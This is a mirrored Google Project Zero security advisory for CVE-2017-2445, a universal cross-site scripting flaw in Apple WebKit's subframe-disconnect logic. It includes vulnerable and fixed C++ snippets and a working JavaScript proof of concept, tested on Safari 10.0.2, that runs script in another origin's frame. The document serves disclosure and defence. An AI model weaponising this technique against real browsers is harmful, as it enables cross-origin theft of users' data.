Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:141963
HistoryApr 09, 2017 - 12:00 a.m.

Apple WebKit disconnectSubframes UXSS

2017-04-0900:00:00
Google Security Research
packetstormsecurity.com
41

EPSS

0.008

Percentile

82.0%

` Apple WebKit: UXSS via disconnectSubframes   
  
CVE-2017-2445  
  
  
When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).  
  
Here is a snippet of |disconnectSubframes|.  
  
void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)  
{  
...  
Vector<Ref<HTMLFrameOwnerElement>> frameOwners;  
  
if (policy == RootAndDescendants) {  
if (is<HTMLFrameOwnerElement>(root))  
frameOwners.append(downcast<HTMLFrameOwnerElement>(root));  
}  
  
collectFrameOwners(frameOwners, root);  
  
// Must disable frame loading in the subtree so an unload handler cannot  
// insert more frames and create loaded frames in detached subtrees.  
SubframeLoadingDisabler disabler(root);  
  
bool isFirst = true;  
for (auto& owner : frameOwners) {  
// Don't need to traverse up the tree for the first owner since no  
// script could have moved it.  
if (isFirst || root.containsIncludingShadowDOM(&owner.get()))  
owner.get().disconnectContentFrame();  
isFirst = false;  
}  
}  
  
The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.  
  
It should be like:  
  
...  
collectFrameOwners(frameOwners, root);  
  
if (is<Element>(root)) {  
Element& element = downcast<Element>(root);  
if (ShadowRoot* shadowRoot = element.shadowRoot())  
collectFrameOwners(frameOwners, *shadowRoot);  
}  
...  
  
  
PoC:  
var d = document.body.appendChild(document.createElement("div"));  
var s = d.attachShadow({mode: "open"});  
  
var f = s.appendChild(document.createElement("iframe"));  
  
f.onload = () => {  
f.onload = null;  
  
f.src = "javascript:alert(location)";  
  
var xml = `  
<svg xmlns="<a href="http://www.w3.org/2000/svg" title="" class="" rel="nofollow">http://www.w3.org/2000/svg</a>">  
<script>  
document.documentElement.appendChild(parent.d);  
  
</sc` + `ript>  
<element a="1" a="2" />  
</svg>`;  
  
var v = document.body.appendChild(document.createElement("iframe"));  
v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));  
};  
  
f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>  
  
Tested on Safari 10.0.2(12602.3.12.0.1)  
  
  
This bug is subject to a 90 day disclosure deadline. If 90 days elapse  
without a broadly available patch, then the bug report will automatically  
become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`